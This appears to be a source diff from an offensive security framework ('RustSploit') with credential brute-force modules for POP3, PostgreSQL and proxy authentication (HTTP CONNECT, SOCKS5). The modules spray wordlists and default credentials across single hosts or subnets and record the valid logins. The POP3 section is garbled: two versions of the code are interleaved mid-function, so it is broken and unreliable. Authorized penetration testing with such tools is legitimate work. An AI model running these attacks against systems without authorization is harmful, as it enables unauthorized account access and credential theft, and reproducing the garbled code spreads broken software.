let port = prompt("Port (default 110 for POP3, 995 for POP3S): ").parse().unwrap_or(110);
let username_wordlist = prompt("Username wordlist file: ");
let password_wordlist = prompt("Password wordlist file: ");
let threads = prompt("Threads (default 16): ").parse().unwrap_or(16);
let stop_on_success = prompt("Stop on first valid login? (y/n): ").trim().eq_ignore_ascii_case("y");
let full_combo = prompt("Try all combos? (y/n): ").trim().eq_ignore_ascii_case("y");
let verbose = prompt("Verbose? (y/n): ").trim().eq_ignore_ascii_case("y");
let use_ssl = prompt("Use SSL/TLS (POP3S)? (y/n): ").trim().eq_ignore_ascii_case("y");
let config = Pop3BruteforceConfig {
target: target.to_string(),
port,
username_wordlist,
password_wordlist,
threads,
stop_on_success,
verbose,
full_combo,
use_ssl,
};
run_pop3_bruteforce(config)
// ============================================================================
// Error Classification
// ============================================================================
#[derive(Debug, Clone, PartialEq)]
enum Pop3ErrorType {
AuthenticationFailed,
ConnectionRefused,
ConnectionTimeout,
TlsError,
Unknown,
}
fn run_pop3_bruteforce(config: Pop3BruteforceConfig) -> Result<()> {
let addr = normalize_target(&config.target, config.port)?;
let host = get_hostname(&config.target);
let usernames = read_lines(&config.username_wordlist)?;
let passwords = read_lines(&config.password_wordlist)?;
if usernames.is_empty() || passwords.is_empty() {
return Err(anyhow::anyhow!("Empty user or pass wordlist."));
impl Pop3ErrorType {
/// Classify a POP3 error from its message string for smarter retry decisions.
fn classify_error(msg: &str) -> Self {
let lower = msg.to_lowercase();
if lower.contains("authentication")
|| lower.contains("login")
|| lower.contains("-err")
|| lower.contains("invalid credential")
|| lower.contains("bad password")
{
Self::AuthenticationFailed
} else if lower.contains("refused")
|| lower.contains("reset")
|| lower.contains("broken pipe")
{
Self::ConnectionRefused
} else if lower.contains("timeout")
|| lower.contains("timed out")
|| lower.contains("deadline")
{
Self::ConnectionTimeout
} else if lower.contains("tls")
|| lower.contains("ssl")
|| lower.contains("certificate")
|| lower.contains("handshake")
{
Self::TlsError
} else {
Self::Unknown
}
}
let found = Arc::new(Mutex::new(Vec::new()));
let stop_flag = Arc::new(Mutex::new(false));
let pool = ThreadPool::new(config.threads);
let (tx, rx) = unbounded();
if config.full_combo {
for u in &usernames { for p in &passwords { tx.send((u.clone(), p.clone()))?; } }
} else if usernames.len() == 1 {
for p in &passwords { tx.send((usernames[0].clone(), p.clone()))?; }
} else if passwords.len() == 1 {
for u in &usernames { tx.send((u.clone(), passwords[0].clone()))?; }
} else {
for p in &passwords { tx.send((usernames[0].clone(), p.clone()))?; }
/// Whether this error type is worth retrying.
fn is_retryable(&self) -> bool {
matches!(self, Self::ConnectionRefused | Self::ConnectionTimeout | Self::Unknown)
}
drop(tx);
for _ in 0..config.threads {
let rx = rx.clone();
let addr = addr.clone();
let host = host.clone();
let stop_flag = Arc::clone(&stop_flag);
let found = Arc::clone(&found);
let config = config.clone();
pool.execute(move || {
while let Ok((user, pass)) = rx.recv() {
if *stop_flag.lock().unwrap() { break; }
if config.verbose { println!("[*] Trying {}:{}", user, pass); }
let result = if config.use_ssl {
try_pop3s_login_verbose(&addr, &host, &user, &pass, config.verbose)
} else {
try_pop3_login_verbose(&addr, &user, &pass, config.verbose)
};
match result {
Ok(true) => {
println!();
println!("[+] VALID: {}:{}", user, pass);
let mut creds = found.lock().unwrap(); creds.push((user.clone(), pass.clone()));
if config.stop_on_success {
*stop_flag.lock().unwrap() = true;
while rx.try_recv().is_ok() {}
break;
fn description(&self) -> &'static str {
match self {
Self::AuthenticationFailed => "Authentication failed",
Self::ConnectionRefused => "Connection refused/reset",
Self::ConnectionTimeout => "Connection timed out",
Self::TlsError => "TLS/SSL error",
Self::Unknown => "Unknown error",
}
}
}
#[derive(Debug)]
struct Pop3Error {
error_type: Pop3ErrorType,
message: String,
}
impl std::fmt::Display for Pop3Error {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
write!(f, "[{}] {}", self.error_type.description(), self.message)
}
}
impl std::error::Error for Pop3Error {}
impl Pop3Error {
fn from_anyhow(err: anyhow::Error) -> Self {
let msg = err.to_string();
let error_type = Pop3ErrorType::classify_error(&msg);
Self { error_type, message: msg }
}
}
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let target = ctx
.target
.as_single()
.context("pop3_bruteforce requires a single-host target")?;
crate::mprintln!("\n{}", "=== POP3 Bruteforce Module (RustSploit) ===".bold().cyan());
crate::mprintln!();
// --- Subnet Scan Mode ---
if is_subnet_target(target) {
crate::mprintln!("{}", format!("[*] Target: {} (Subnet Scan)", target).cyan());
let use_ssl = cfg_prompt_yes_no("use_ssl", "Use SSL/TLS (POP3S)?", false).await?;
let default_port = if use_ssl { 995 } else { 110 };
let port = cfg_prompt_int_range("port", "Port", default_port as i64, 1, 65535).await? as u16;
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
let users = load_lines(&usernames_file)?;
let passes = load_lines(&passwords_file)?;
if users.is_empty() { return Err(anyhow!("User list empty")); }
if passes.is_empty() { return Err(anyhow!("Pass list empty")); }
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent hosts", 50, 1, 10000).await? as usize;
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let output_file = cfg_prompt_output_file("output_file", "Output result file", "pop3_subnet_results.txt").await?;
let connection_timeout: u64 = 5;
let limiter = ctx.limiter.clone();
let module_path = ctx.module_path.clone();
let hits = run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
concurrency,
verbose,
output_file,
service_name: "pop3",
jitter_ms: 50,
source_module: "creds/generic/pop3_credcheck",
skip_tcp_check: false,
state_file: None,
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
let limiter = limiter.clone();
let module_path = module_path.clone();
async move {
let target_str = ip.to_string();
limiter.acquire(&module_path, &target_str).await;
let res = tokio::task::spawn_blocking(move || {
attempt_pop3_login(&target_str, port, &user, &pass, use_ssl, connection_timeout)
}).await;
match res {
Ok(Ok(true)) => LoginResult::Success,
Ok(Ok(false)) => LoginResult::AuthFailed,
Ok(Err(e)) => {
let retryable = e.error_type.is_retryable();
if retryable {
tokio::time::sleep(backoff_delay(250, 1, 4)).await;
}
LoginResult::Error { message: e.message, retryable }
}
Ok(false) => {}
Err(e) => if config.verbose { eprintln!("[!] {}:{}: {}", user, pass, e); },
Err(e) => LoginResult::Error {
message: format!("Task panic: {}", e),
retryable: false,
},
}
}
}).await?;
let mut outcome = ModuleOutcome::ok();
for (host, user, pass) in &hits {
outcome.findings.push(Finding {
target: host.clone(),
kind: FindingKind::Credential,
message: format!("Valid POP3 credentials found: {}:{}", user, pass),
data: Some(serde_json::json!({
"username": user,
"password": pass,
"service": "pop3",
"port": port,
})),
});
}
return Ok(outcome);
}
// --- Single Target Mode ---
let mut outcome = ModuleOutcome::ok();
let use_ssl = cfg_prompt_yes_no("use_ssl", "Use SSL/TLS (POP3S)?", false).await?;
let default_port = if use_ssl { 995 } else { 110 };
let port = cfg_prompt_int_range("port", "Port", default_port as i64, 1, 65535).await? as u16;
let username_wordlist = cfg_prompt_existing_file("username_wordlist", "Username wordlist file").await?;
let password_wordlist = cfg_prompt_existing_file("password_wordlist", "Password wordlist file").await?;
let threads = cfg_prompt_int_range("threads", "Threads", 16, 1, 256).await? as usize;
let delay_ms = cfg_prompt_int_range("delay_ms", "Delay (ms)", 50, 0, 10000).await? as u64;
let connection_timeout = cfg_prompt_int_range("timeout", "Timeout (s)", 5, 1, 60).await? as u64;
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first valid login?", false).await?;
let output_file = cfg_prompt_output_file("output_file", "Output file for results", "pop3_results.txt").await?;
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let retry_on_error = cfg_prompt_yes_no("retry_on_error", "Retry failed connections?", true).await?;
let max_retries = if retry_on_error {
cfg_prompt_int_range("max_retries", "Max retries", 2, 1, 10).await? as usize
} else {
0
};
let usernames = load_lines(&username_wordlist)?;
let passwords = load_lines(&password_wordlist)?;
if usernames.is_empty() || passwords.is_empty() {
anyhow::bail!("Username or password list is empty — nothing to bruteforce");
}
crate::mprintln!("[*] Loaded {} usernames, {} passwords", usernames.len(), passwords.len());
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
combos.extend(load_credential_file(&cred_path)?);
}
crate::mprintln!();
crate::mprintln!("{}", "[Starting Attack]".bold().yellow());
crate::mprintln!();
let limiter = ctx.limiter.clone();
let module_path = ctx.module_path.clone();
let try_login = move |t: String, p: u16, user: String, pass: String| {
let limiter = limiter.clone();
let module_path = module_path.clone();
async move {
limiter.acquire(&module_path, &t).await;
let res = tokio::task::spawn_blocking(move || {
attempt_pop3_login(&t, p, &user, &pass, use_ssl, connection_timeout)
}).await;
match res {
Ok(Ok(true)) => LoginResult::Success,
Ok(Ok(false)) => LoginResult::AuthFailed,
Ok(Err(e)) => {
let retryable = e.error_type.is_retryable();
if retryable {
tokio::time::sleep(backoff_delay(250, 1, 4)).await;
}
LoginResult::Error { message: e.message, retryable }
}
Err(e) => LoginResult::Error {
message: format!("Task panic: {}", e),
retryable: false,
},
}
}
};
let result = run_bruteforce(&BruteforceConfig {
target: target.to_string(),
port,
concurrency: threads,
stop_on_success,
verbose,
delay_ms,
max_retries,
service_name: "pop3",
jitter_ms: 50,
source_module: "creds/generic/pop3_credcheck",
}, combos, try_login).await?;
result.print_found();
result.save_to_file(&output_file)?;
for (host, user, pass) in &result.found {
outcome.findings.push(Finding {
target: host.clone(),
kind: FindingKind::Credential,
message: format!("Valid POP3 credentials found: {}:{}", user, pass),
data: Some(serde_json::json!({
"username": user,
"password": pass,
"service": "pop3",
"port": port,
})),
});
}
pool.join();
let found = found.lock().unwrap();
if found.is_empty() {
println!("[-] No valid credentials.");
} else {
println!();
println!("[+] Found:");
for (u,p) in found.iter() { println!("{}:{}", u, p); }
if prompt("Save found? (y/n): ").trim().eq_ignore_ascii_case("y") {
let f = prompt("Filename: ");
save_results(&f, &found)?;
println!("[+] Saved to {}", f);
}
}
Ok(())
Ok(outcome)
}
// Standard POP3 login, plaintext
fn try_pop3_login_verbose(addr: &str, username: &str, password: &str, verbose: bool) -> Result<bool> {
let socket = addr.to_socket_addrs()?.next().ok_or_else(|| anyhow::anyhow!("Could not resolve address"))?;
let mut stream = TcpStream::connect_timeout(&socket, Duration::from_millis(4000)).context("Connect timeout")?;
stream.set_read_timeout(Some(Duration::from_millis(4000))).ok();
stream.set_write_timeout(Some(Duration::from_millis(4000))).ok();
pop3_session(&mut stream, username, password, verbose)
}
/// POP3 login result: Ok(true) = authenticated, Ok(false) = auth rejected, Err = classified error.
/// Shared POP3 authentication logic for both SSL and plain connections.
fn pop3_authenticate(stream: &mut (impl std::io::Read + std::io::Write), user: &str, pass: &str) -> std::result::Result<bool, Pop3Error> {
let mut buffer = [0; 1024];
// Read banner
stream.read(&mut buffer).map_err(|e| Pop3Error::from_anyhow(e.into()))?;
// POP3S (SSL/TLS)
fn try_pop3s_login_verbose(addr: &str, host: &str, username: &str, password: &str, verbose: bool) -> Result<bool> {
let socket = addr.to_socket_addrs()?.next().ok_or_else(|| anyhow::anyhow!("Could not resolve address"))?;
let stream = TcpStream::connect_timeout(&socket, Duration::from_millis(4000)).context("Connect timeout")?;
let connector = TlsConnector::new().unwrap();
let mut stream = connector.connect(host, stream).context("SSL connect fail")?;
stream.get_ref().set_read_timeout(Some(Duration::from_millis(4000))).ok();
stream.get_ref().set_write_timeout(Some(Duration::from_millis(4000))).ok();
pop3_session(&mut stream, username, password, verbose)
}
// Shared POP3 session logic for both plain and SSL
fn pop3_session<S: Read + Write>(stream: &mut S, username: &str, password: &str, verbose: bool) -> Result<bool> {
let mut buf = [0u8; 4096];
// Banner
let n = stream.read(&mut buf)?;
let banner = String::from_utf8_lossy(&buf[..n]);
if verbose { print!("-> {}\n", banner.trim_end()); }
if !banner.to_ascii_lowercase().contains("+ok") {
return Err(anyhow::anyhow!("No +OK banner: {}", banner));
}
// USER
let user_cmd = format!("USER {}\r\n", username);
stream.write_all(user_cmd.as_bytes())?;
if verbose { print!("<- {}", user_cmd); }
let n = stream.read(&mut buf)?;
let resp = String::from_utf8_lossy(&buf[..n]);
if verbose { print!("-> {}\n", resp.trim_end()); }
if !resp.to_ascii_lowercase().contains("+ok") {
// Send USER
stream.write_all(format!("USER {}\r\n", user).as_bytes())
.map_err(|e| Pop3Error::from_anyhow(e.into()))?;
let n = stream.read(&mut buffer).map_err(|e| Pop3Error::from_anyhow(e.into()))?;
if !String::from_utf8_lossy(&buffer[..n]).starts_with("+OK") {
return Ok(false);
}
// PASS
let pass_cmd = format!("PASS {}\r\n", password);
stream.write_all(pass_cmd.as_bytes())?;
if verbose { print!("<- {}", pass_cmd); }
let n = stream.read(&mut buf)?;
let resp = String::from_utf8_lossy(&buf[..n]);
if verbose { print!("-> {}\n", resp.trim_end()); }
// Hardened login detection:
let reply = resp.to_ascii_lowercase();
if reply.contains("+ok")
&& !reply.contains("error")
&& !reply.contains("fail")
&& !reply.contains("denied")
&& !reply.contains("invalid")
&& !reply.contains("authentication required")
&& !reply.contains("locked") {
// Only consider true success if reply says +OK and has no error/fail/invalid/denied
if verbose {
stream.write_all(b"STAT\r\n").ok();
let n = stream.read(&mut buf).unwrap_or(0);
if n > 0 { print!("-> {}\n", String::from_utf8_lossy(&buf[..n]).trim_end()); }
stream.write_all(b"LIST\r\n").ok();
let n = stream.read(&mut buf).unwrap_or(0);
if n > 0 { print!("-> {}\n", String::from_utf8_lossy(&buf[..n]).trim_end()); }
stream.write_all(b"QUIT\r\n").ok();
let n = stream.read(&mut buf).unwrap_or(0);
if n > 0 { print!("-> {}\n", String::from_utf8_lossy(&buf[..n]).trim_end()); }
} else {
stream.write_all(b"QUIT\r\n").ok();
}
// Send PASS
stream.write_all(format!("PASS {}\r\n", pass).as_bytes())
.map_err(|e| Pop3Error::from_anyhow(e.into()))?;
let n = stream.read(&mut buffer).map_err(|e| Pop3Error::from_anyhow(e.into()))?;
if String::from_utf8_lossy(&buffer[..n]).starts_with("+OK") {
if let Err(e) = stream.write_all(b"QUIT\r\n") { crate::meprintln!("[!] POP3 QUIT write error: {}", e); }
if let Err(e) = stream.flush() { crate::meprintln!("[!] Flush error: {}", e); }
return Ok(true);
}
Ok(false)
}
fn read_lines(path: &str) -> Result<Vec<String>> {
let file = File::open(path).context(format!("Open: {}", path))?;
Ok(BufReader::new(file).lines().filter_map(Result::ok).filter(|s|!s.trim().is_empty()).collect())
fn attempt_pop3_login(target: &str, port: u16, user: &str, pass: &str, use_ssl: bool, timeout_secs: u64) -> std::result::Result<bool, Pop3Error> {
let addr = format!("{}:{}", target, port);
let timeout = Duration::from_secs(timeout_secs);
let socket_addr = std::net::ToSocketAddrs::to_socket_addrs(&addr)
.map_err(|e| Pop3Error::from_anyhow(e.into()))?
.next()
.ok_or_else(|| Pop3Error { error_type: Pop3ErrorType::ConnectionRefused, message: "Resolution failed".to_string() })?;
let stream = crate::utils::blocking_tcp_connect(&socket_addr, timeout)
.map_err(|e| Pop3Error::from_anyhow(e.into()))?;
if let Err(e) = stream.set_nodelay(true) { crate::meprintln!("[!] Socket option error: {}", e); }
stream.set_read_timeout(Some(timeout)).map_err(|e| Pop3Error::from_anyhow(e.into()))?;
stream.set_write_timeout(Some(timeout)).map_err(|e| Pop3Error::from_anyhow(e.into()))?;
if use_ssl {
let connector = TlsConnector::new().map_err(|e| Pop3Error {
error_type: Pop3ErrorType::TlsError,
message: e.to_string(),
})?;
let mut tls_stream = connector.connect(target, stream).map_err(|e| Pop3Error {
error_type: Pop3ErrorType::TlsError,
message: e.to_string(),
})?;
pop3_authenticate(&mut tls_stream, user, pass)
} else {
let mut plain_stream = stream;
pop3_authenticate(&mut plain_stream, user, pass)
}
}
fn save_results(path: &str, creds: &[(String, String)]) -> Result<()> {
let mut file = OpenOptions::new().create(true).write(true).truncate(true).open(path)?;
for (u,p) in creds { writeln!(file, "{}:{}", u, p)?; }
Ok(())
}
fn prompt(msg: &str) -> String {
print!("{}", msg); io::stdout().flush().unwrap(); let mut b = String::new(); io::stdin().read_line(&mut b).unwrap(); b.trim().to_string()
}
fn normalize_target(host: &str, port: u16) -> Result<String> {
let re = Regex::new(r"^\[*([^\]]+?)\]*(?::(\d{1,5}))?$" ).unwrap();
let t = host.trim();
let cap = re.captures(t).ok_or_else(|| anyhow::anyhow!("Invalid target: {}", host))?;
let addr = cap.get(1).unwrap().as_str();
let p = cap.get(2).map(|m| m.as_str().parse::<u16>().ok()).flatten().unwrap_or(port);
let f = if addr.contains(':') && !addr.starts_with('[') { format!("[{}]:{}", addr, p) } else { format!("{}:{}", addr, p) };
if f.to_socket_addrs()?.next().is_none() { Err(anyhow::anyhow!("DNS fail: {}", f)) } else { Ok(f) }
}
fn get_hostname(target: &str) -> String {
if let Some(idx) = target.find(':') { target[..idx].trim_matches('[').trim_matches(']').to_string() } else { target.trim_matches('[').trim_matches(']').to_string() }
}
crate::register_native_module!(crate::module::Category::Creds, "generic/pop3_bruteforce", native);
@@ -0,0 +1,212 @@
//! PostgreSQL credential brute-force.
//!
//! Single-target probe — the scheduler handles CIDR / random / file / multi
//! fan-out. Each invocation tries default credentials first, then iterates
//! over operator-supplied wordlists via `crate::utils::creds_helper`.
use anyhow::{Context, Result};
use crate::module::{ModuleCtx, ModuleOutcome};
use std::time::Duration;
use crate::module_info::{ModuleInfo, ModuleRank};
use crate::utils::creds_helper::{self, CredsRun};
use crate::utils::LoginResult;
const DEFAULT_PG_PORT: u16 = 5432;
/// Common defaults — covers Docker images, dev installs, IoT appliances.
const DEFAULT_PG_CREDS: &[(&str, &str)] = &[
("postgres", "postgres"),
("postgres", ""),
("postgres", "password"),
("postgres", "admin"),
("postgres", "root"),
("admin", "admin"),
("admin", "password"),
("root", "root"),
];
pub fn info() -> ModuleInfo {
ModuleInfo {
name: "PostgreSQL Bruteforce".to_string(),
description:
"Tests PostgreSQL authentication via the protocol v3 startup flow. Cleartext (R 3) \
and MD5 (R 5) auth methods supported; SASL/GSS/SSPI fall through as unsupported. \
Tries common defaults first, then operator-supplied wordlists. Single-target — \
scheduler does CIDR / random / file fan-out."
.to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![
"https://www.postgresql.org/docs/current/protocol-flow.html".to_string(),
],
disclosure_date: None,
rank: ModuleRank::Normal,
default_port: Some(5432),
}
}
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let target = ctx.target.as_single().context("postgres_bruteforce requires a single-host target")?;
creds_helper::run(
target,
CredsRun {
service_name: "postgres",
default_port: DEFAULT_PG_PORT,
source_module: "creds/generic/postgres_bruteforce",
defaults: DEFAULT_PG_CREDS,
password_only: false,
},
|host: String, port: u16, user: String, pass: String, timeout: std::time::Duration| async move {
probe(&host, port, &user, &pass, timeout).await
},
)
.await
}
/// One PostgreSQL auth attempt. Sends the v3 startup-message with the
/// supplied user, then either Password / Md5 response on demand.
/// Returns Success on `AuthenticationOk` (R 0), AuthFailed on
/// `ErrorResponse` (E), retryable Error on connection issues.
async fn probe(host: &str, port: u16, user: &str, pass: &str, timeout: Duration) -> LoginResult {
use tokio::io::AsyncWriteExt;
let addr = format!("{}:{}", host, port);
let mut stream = match crate::utils::creds_helper::connect_with_timeout(&addr, timeout).await {
Ok(s) => s,
Err(e) => {
return LoginResult::Error {
message: format!("connect: {e}"),
retryable: true,
};
}
};
let mut params = Vec::<u8>::new();
params.extend_from_slice(b"user\0");
params.extend_from_slice(user.as_bytes());
params.push(0);
params.extend_from_slice(b"database\0");
// Connect to the conventional "postgres" maintenance DB, NOT a DB named after
// the user. `database=user` made a valid superuser whose own DB doesn't exist
// fail startup with ErrorResponse 3D000 (database does not exist), which we
// read as a login failure — a false negative on otherwise-correct credentials.
params.extend_from_slice(b"postgres");
params.push(0);
params.push(0); // trailing null
let total_len: u32 = 4 + 4 + params.len() as u32;
let mut msg = Vec::with_capacity(total_len as usize);
msg.extend_from_slice(&total_len.to_be_bytes());
msg.extend_from_slice(&196608u32.to_be_bytes()); // protocol 3.0
msg.extend_from_slice(&params);
if let Err(e) = stream.write_all(&msg).await {
return LoginResult::Error {
message: format!("write startup: {e}"),
retryable: true,
};
}
let mut header = [0u8; 5];
loop {
if let Err(e) =
crate::utils::creds_helper::read_exact_with_timeout(&mut stream, &mut header, timeout)
.await
{
return LoginResult::Error {
message: format!("read header: {e}"),
retryable: true,
};
}
let msg_type = header[0];
let msg_len = u32::from_be_bytes([header[1], header[2], header[3], header[4]]);
if !(5..=64 * 1024).contains(&msg_len) {
return LoginResult::Error {
message: format!("invalid message length {msg_len}"),
retryable: false,
};
}
let body_len = (msg_len - 4) as usize;
let mut body = vec![0u8; body_len];
if body_len > 0
&& let Err(e) = crate::utils::creds_helper::read_exact_with_timeout(
&mut stream,
&mut body,
timeout,
)
.await
{
return LoginResult::Error {
message: format!("read body: {e}"),
retryable: true,
};
}
match msg_type {
b'R' => {
if body.len() < 4 {
return LoginResult::Error {
message: "short auth msg".to_string(),
retryable: false,
};
}
let auth_type = u32::from_be_bytes([body[0], body[1], body[2], body[3]]);
match auth_type {
0 => return LoginResult::Success,
3 => {
let mut pw_msg = Vec::new();
pw_msg.push(b'p');
let plen = (4 + pass.len() + 1) as u32;
pw_msg.extend_from_slice(&plen.to_be_bytes());
pw_msg.extend_from_slice(pass.as_bytes());
pw_msg.push(0);
if let Err(e) = stream.write_all(&pw_msg).await {
return LoginResult::Error {
message: format!("write pw: {e}"),
retryable: true,
};
}
}
5 => {
if body.len() < 8 {
return LoginResult::Error {
message: "short md5 salt".to_string(),
retryable: false,
};
}
let salt = &body[4..8];
let inner = format!(
"{:x}",
md5::compute(format!("{}{}", pass, user).as_bytes())
);
let mut hash_input = Vec::with_capacity(inner.len() + 4);
hash_input.extend_from_slice(inner.as_bytes());
hash_input.extend_from_slice(salt);
let outer = format!("md5{:x}", md5::compute(&hash_input));
let mut pw_msg = Vec::new();
pw_msg.push(b'p');
let plen = (4 + outer.len() + 1) as u32;
pw_msg.extend_from_slice(&plen.to_be_bytes());
pw_msg.extend_from_slice(outer.as_bytes());
pw_msg.push(0);
if let Err(e) = stream.write_all(&pw_msg).await {
return LoginResult::Error {
message: format!("write md5: {e}"),
retryable: true,
};
}
}
other => {
return LoginResult::Error {
message: format!("unsupported auth method {other}"),
retryable: false,
};
}
}
}
b'E' => return LoginResult::AuthFailed,
_ => continue,
}
}
}
crate::register_native_module!(crate::module::Category::Creds, "generic/postgres_bruteforce", native);
@@ -0,0 +1,475 @@
//! Proxy Authentication Bruteforce Module
//!
//! Bruteforces authenticated proxies: HTTP CONNECT (Basic/Digest),
//! SOCKS5 username/password, and HTTP forward proxies.
//!
//! FOR AUTHORIZED PENETRATION TESTING ONLY.
use anyhow::{ anyhow, Context, Result };
use colored::*;
use std::net::IpAddr;
use std::time::Duration;
use base64::Engine as _;
use tokio::io::{ AsyncReadExt, AsyncWriteExt };
use crate::module::{ Finding, FindingKind, ModuleCtx, ModuleOutcome };
use crate::utils::{
cfg_prompt_default,
cfg_prompt_existing_file,
cfg_prompt_int_range,
cfg_prompt_output_file,
cfg_prompt_port,
cfg_prompt_yes_no,
load_lines,
normalize_target,
};
use crate::utils::wordlist;
use crate::utils::{
generate_combos_mode,
parse_combo_mode,
load_credential_file,
BruteforceConfig,
LoginResult,
SubnetScanConfig,
run_bruteforce,
run_subnet_bruteforce,
is_subnet_target,
};
pub fn info() -> crate::module_info::ModuleInfo {
crate::module_info::ModuleInfo {
name: "Proxy Bruteforce".to_string(),
description: "Bruteforces proxy authentication for HTTP CONNECT (Basic auth), SOCKS5 (username/password), and HTTP forward proxies. Supports combo, spray, and credential file modes.".to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![],
disclosure_date: None,
rank: crate::module_info::ModuleRank::Normal,
default_port: None,
}
}
// ============================================================================
// PROXY AUTH TYPES
// ============================================================================
#[derive(Clone, Copy, Debug)]
enum ProxyType {
HttpConnect,
Socks5,
HttpForward,
}
impl ProxyType {
fn from_str(s: &str) -> Self {
match s.trim().to_lowercase().as_str() {
"socks5" | "socks" => Self::Socks5,
"http_forward" | "forward" | "transparent" => Self::HttpForward,
_ => Self::HttpConnect,
}
}
fn name(&self) -> &'static str {
match self {
Self::HttpConnect => "HTTP CONNECT",
Self::Socks5 => "SOCKS5",
Self::HttpForward => "HTTP Forward",
}
}
fn default_port(&self) -> u16 {
match self {
Self::HttpConnect => 8080,
Self::Socks5 => 1080,
Self::HttpForward => 3128,
}
}
}
// ============================================================================
// AUTH ATTEMPTS
// ============================================================================
/// Try HTTP CONNECT proxy with Basic auth.
async fn try_http_connect_auth(
target: &str, port: u16, user: &str, pass: &str, timeout_ms: u64,
) -> LoginResult {
let addr = format!("{}:{}", target, port);
let dur = Duration::from_millis(timeout_ms);
let stream = match crate::utils::network::tcp_connect(&addr, dur).await {
Ok(s) => s,
Err(e) => return LoginResult::Error { message: e.to_string(), retryable: true },
};
let mut stream = stream;
// Basic auth header
let cred = base64::engine::general_purpose::STANDARD.encode(format!("{}:{}", user, pass));
let req = format!(
"CONNECT httpbin.org:80 HTTP/1.1\r\nHost: httpbin.org\r\nProxy-Authorization: Basic {}\r\n\r\n",
cred
);
if let Err(e) = tokio::time::timeout(dur, stream.write_all(req.as_bytes())).await {
return LoginResult::Error { message: format!("Write timeout: {}", e), retryable: true };
}
let mut buf = [0u8; 1024];
let n = match tokio::time::timeout(dur, stream.read(&mut buf)).await {
Ok(Ok(n)) if n > 0 => n,
Ok(Ok(n)) => { tracing::trace!("proxy read returned {n} bytes (empty)"); return LoginResult::Error { message: "Empty response".to_string(), retryable: false }; }
Ok(Err(e)) => return LoginResult::Error { message: e.to_string(), retryable: true },
Err(e) => return LoginResult::Error { message: format!("Read timeout: {e}"), retryable: true },
};
let resp = String::from_utf8_lossy(&buf[..n]);
// Parse the HTTP status line. Matching the bare string "200" anywhere in the
// response (e.g. `Content-Length: 200`, a Date, or a Via header) produced
// false-positive "valid proxy" results — only the status code counts.
match http_status_code(&resp) {
Some(c) if (200..=299).contains(&c) => LoginResult::Success,
Some(407) | Some(401) | Some(403) => LoginResult::AuthFailed,
Some(c) => LoginResult::Error { message: format!("HTTP {c}"), retryable: false },
None => LoginResult::Error { message: format!("non-HTTP response: {}", resp.lines().next().unwrap_or("")), retryable: false },
}
}
/// Extract the numeric status code from an HTTP response's status line
/// (`HTTP/1.1 200 ...`). Returns None when the first line isn't an HTTP status
/// line, so a "200" appearing elsewhere in the response can't be mistaken for a
/// 200 OK.
fn http_status_code(resp: &str) -> Option<u16> {
let first = resp.lines().next()?;
if !first.starts_with("HTTP/") {
return None;
}
first.split_whitespace().nth(1).and_then(|tok| tok.parse::<u16>().ok())
}
/// Try SOCKS5 proxy with username/password auth (RFC 1929).
async fn try_socks5_auth(
target: &str, port: u16, user: &str, pass: &str, timeout_ms: u64,
) -> LoginResult {
let addr = format!("{}:{}", target, port);
let dur = Duration::from_millis(timeout_ms);
let mut stream = match crate::utils::network::tcp_connect(&addr, dur).await {
Ok(s) => s,
Err(e) => return LoginResult::Error { message: e.to_string(), retryable: true },
};
// SOCKS5 greeting: version 5, 1 method, username/password (0x02)
match tokio::time::timeout(dur, stream.write_all(&[0x05, 0x01, 0x02])).await {
Ok(Ok(())) => {}
Ok(Err(e)) => {
tracing::trace!("SOCKS5 greeting write failed: {e}");
return LoginResult::Error { message: "Greeting write failed".to_string(), retryable: true };
}
Err(e) => {
tracing::trace!("SOCKS5 greeting write timed out: {e}");
return LoginResult::Error { message: "Greeting timeout".to_string(), retryable: true };
}
}
let mut buf = [0u8; 2];
match tokio::time::timeout(dur, stream.read_exact(&mut buf)).await {
Ok(Ok(n)) => { tracing::trace!("SOCKS5 greeting read_exact returned {n} bytes"); }
_ => return LoginResult::Error { message: "Greeting response timeout".to_string(), retryable: true },
}
if buf[0] != 0x05 {
return LoginResult::Error { message: "Not SOCKS5".to_string(), retryable: false };
}
if buf[1] != 0x02 {
return LoginResult::Error { message: format!("Auth method {} not user/pass", buf[1]), retryable: false };
}
// RFC 1929 username/password auth
let user_bytes = user.as_bytes();
let pass_bytes = pass.as_bytes();
if user_bytes.len() > 255 || pass_bytes.len() > 255 {
return LoginResult::Error { message: "Credentials too long (max 255 bytes each)".to_string(), retryable: false };
}
let mut auth_pkt = vec![0x01u8]; // version
auth_pkt.push(user_bytes.len() as u8);
auth_pkt.extend_from_slice(user_bytes);
auth_pkt.push(pass_bytes.len() as u8);
auth_pkt.extend_from_slice(pass_bytes);
match tokio::time::timeout(dur, stream.write_all(&auth_pkt)).await {
Ok(Ok(())) => {}
Ok(Err(e)) => {
tracing::trace!("SOCKS5 auth write failed: {e}");
return LoginResult::Error { message: "Auth write failed".to_string(), retryable: true };
}
Err(e) => {
tracing::trace!("SOCKS5 auth write timed out: {e}");
return LoginResult::Error { message: "Auth write timeout".to_string(), retryable: true };
}
}
let mut resp = [0u8; 2];
match tokio::time::timeout(dur, stream.read_exact(&mut resp)).await {
Ok(Ok(n)) => { tracing::trace!("SOCKS5 auth read_exact returned {n} bytes"); }
_ => return LoginResult::Error { message: "Auth response timeout".to_string(), retryable: true },
}
// RFC 1929: reply is [version=0x01, status]; status 0x00 == success. Require
// the auth-subnegotiation version byte so a server echoing garbage like
